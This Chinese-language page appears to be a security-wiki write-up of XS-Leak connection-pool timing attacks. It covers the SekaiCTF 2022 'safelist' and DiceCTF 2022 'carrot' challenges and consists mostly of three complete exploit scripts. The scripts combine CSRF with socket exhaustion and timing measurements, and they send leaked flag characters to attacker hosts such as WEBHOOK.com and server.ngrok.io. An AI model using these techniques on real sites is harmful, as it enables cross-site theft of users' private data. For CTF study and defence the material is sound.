连接池示例

Reading time: 12 minutes

Sekaictf2022 - safelist

在Sekaictf2022 - safelist挑战中，@Strellic_给出了如何使用连接池技术的变体来执行XS-Leak的示例。

在这个挑战中，目标是从机器人的网络会话中提取一个将在帖子中出现的标志。这是攻击者拥有的资产：

• 机器人将访问攻击者给定的URL
• 攻击者可以在页面中注入HTML（但不允许JS，使用了dompurify）利用CSRF使机器人创建一个带有该HTML的帖子。
• 攻击者可以利用CSRF使机器人****删除网页中的第一个帖子。
• 由于帖子是按字母顺序排列的，当第一个帖子被删除时，如果攻击者的HTML内容被加载，则意味着它在标志之前的字母顺序。

因此，为了窃取标志，@Strellyc_提出的解决方案是，对于每个要测试的字符，让机器人：

• 创建一个新帖子，该帖子以已知的标志部分开头，并加载多个img。
• 删除位置为0的帖子。
• 阻塞255个套接字。
• 加载带有帖子页面。
• 对一个网站（在这种情况下为example.com）执行5个随机请求，并测量所需时间。

利用1

这是利用代码，取自https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html：

<!-- Form to inject HTML code in the bots page -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/create"
id="create"
target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form
method="POST"
action="https://safelist.ctf.sekai.team/remove"
id="remove"
target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/"
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data })
console.log(id, payload)
navigator.sendBeacon(WEBHOOK + "?" + id, payload)
}

// Similar to JQuery
const $ = document.querySelector.bind(document)

// Known part of the flag
const known = "SEKAI{"
let alphabet = "_abcdefghijklmnopqrstuvwxyz}"

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)))
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for (let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`
}

// Inject HTML
$("#create input[type=text]").value = payload
$("#create").submit()
await new Promise((r) => setTimeout(r, 1000))

// Remove post with index 0
$("#remove").submit()
await new Promise((r) => setTimeout(r, 500))

let deltas = []

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), {
mode: "no-cors",
signal: controller.signal,
})
} catch (err) {}
}

// block SOCKET_LIMIT sockets
const controller = new AbortController()
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller)
}

// Make the bot access the page with the posts
window.open(
"https://safelist.ctf.sekai.team/?" +
Math.random().toString(36).slice(2),
"pwn"
)
await new Promise((r) => setTimeout(r, 500))

// start meassuring time to perform 5 requests
let start = performance.now()
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
])
let delta = performance.now() - start
document.title = delta
controller.abort()

log("test_" + c + "_" + i, delta)

// Save time needed
deltas.push(delta)
}
return deltas
}

// Check each char
const pwn = async () => {
// Try to leak each character
for (let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i])

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
}

window.onload = async () => {
pwn()
}
</script>

Exploit 2

相同的策略，但代码不同来自 https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form
id="f"
action="http://localhost:1234/create"
method="POST"
target="_blank">
<input id="inp" name="text" value="" />
</form>

<form
id="f2"
action="http://localhost:1234/remove"
method="POST"
target="_blank">
<input id="inp2" name="index" value="" />
</form>
<script>
let flag = "SEKAI{"
const TARGET = "https://safelist.ctf.sekai.team"
f.action = TARGET + "/create"
f2.action = TARGET + "/remove"

const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
const send = (data) => fetch("http://server.ngrok.io?d=" + data)
const charset = "abcdefghijklmnopqrstuvwxyz".split("")

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while (R - L > 3) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for (let i = R; i >= L; i--) {
let c = charset[i]
send("try_" + flag + c)
const found = await testChar(flag + c)
if (found) {
send("found: " + flag + c)
flag += c
break
}
}
}, 0)

async function testChar(str) {
return new Promise((resolve) => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value =
str +
'<br><canvas height="3350px"></canvas><br>' +
Array.from({ length: 20 })
.map((_, i) => `<img loading=lazy src=/?${i}>`)
.join("")
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for (let i = 1; i <= 5; i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for (let i = 0; i < round; i++) {
let s = performance.now()
await fetch(TARGET + "/?test", {
mode: "no-cors",
}).catch((err) => 1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t / round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = t >= 1000
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
</body>
</html>

DiceCTF 2022 - carrot

在这个案例中，利用漏洞的第一步是滥用 CSRF 来修改包含标志的页面，使其 内容更多（因此加载时间更长），然后 滥用连接池来测量访问可能包含标志的页面所需的时间。

在这个漏洞中你可以看到：

• 滥用 CSRF
• 占用所有套接字但保留 1 个
• 校准响应
• 通过访问可能包含标志的页面开始暴力破解
• 将访问潜在页面，并立即访问攻击者控制的 URL，以检查两个请求所需的时间。

<h1>DiceCTF 2022 web/carrot</h1>

<p>
Step 1: CSRF the admin user, to set a super long title for the flag note (LAX
+ POST form only possible for 2 minutes after cookies is created)
</p>
<button onclick="csrf()">do csrf</button>
<p>
Step 2: XS-Search with
<a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/"
>connection-pool timing leak</a
>, we have to use window.open (LAX cookie)
</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br />
<br />
<h2 id="output"></h2>
<br />
<form id="x" action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title" />
<br /><br />
<input type="number" name="priority" placeholder="priority" value="9999" />
<br /><br />
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br /><br />
<input type="submit" value="submit" />
</form>

<script>
// this is send is used as logging
LOG = "Starting"
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255
// default
TIMELIMIT = 800
INSTANCE = ""
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(resolve, ms)
})
}

const time_fetch = async () => {
let test_server_url = `https://${MYSERVER}/?${LOG}`
let start = window.performance.now()
try {
await fetch(test_server_url, {
mode: "no-cors",
})
} catch (e) {
console.log(e)
}
let end = window.performance.now()
return end - start
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: "no-cors",
})
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: "no-cors",
})
}

const block_socket = async (i) => {
fetch_sleep_long(i)
// needed?
await sleep(0)
}

const exhaust_sockets = async () => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i)
}
console.log(`Used ${i} connections`)
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {
popup.location = url
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
})
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("")
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char
}
}
return false
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
})
}

const exploit = async (flag = "") => {
console.log("Starting")
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last
while (true) {
last = await brute(flag)
if (last === false) {
return flag
} else {
flag += last
output.innerText = flag
if (last === "}") {
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
} else {
WINBG = window.open(location.href, (target = "_blank"))
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams
if (!p.has("i")) {
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get("i")
// step 1
if (p.has("csrf")) {
csrf()
return
}
// step 2
if (p.has("exploit")) {
// window open is ok in headless :)
popunder()

exploit("dice{")
}
}
</script>